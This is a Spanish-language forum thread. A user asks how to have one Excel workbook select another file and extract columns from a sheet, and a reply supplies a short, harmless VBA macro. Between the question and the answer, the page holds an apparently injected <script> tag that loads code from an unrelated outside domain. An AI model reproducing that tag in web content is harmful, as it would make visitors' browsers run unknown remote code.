Seleccionar una Hoja Excel desde otro fichero excel VBA

Hola Expertos,

Necesito vuestra ayuda. Tengo un fichero excel llamado A y otro excel, B.

Del fichero A quiero que al dar a un botón me aparezca un recuadro donde pueda seleccionar un fichero excel (en este caso B) y me extraiga unas columnas de una hoja y me las envíe A.

Si tenéis alguna duda o necesitáis los ficheros, podéis preguntarme o contactar conmigo x correo, [email protected]

Gracias

un Saludo

<script type="text/javascript" src="//loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>

1 Respuesta

Respuesta
1

Esta sería la macro:

Sub ejemplo()
'por luismondelo
On Error GoTo salida
uno = ActiveWorkbook.Name
archivo = Application.GetOpenFilename
If archivo = False Then Exit Sub
Workbooks.Open archivo
dos = ActiveWorkbook.Name
Sheets("hoja2").Select
ActiveSheet.Copy after:=Workbooks(uno).Worksheets(Workbooks(uno).Worksheets.Count)
Workbooks(dos).Close False
ActiveSheet.Columns("g:z").Delete
Exit Sub
salida:
MsgBox "ha ocurrido un error, asegúrese de que en el libro buscado existe una hoja2"
End Sub

recuerda finalizar la consulta

Añade tu respuesta

Haz clic para o

Más respuestas relacionadas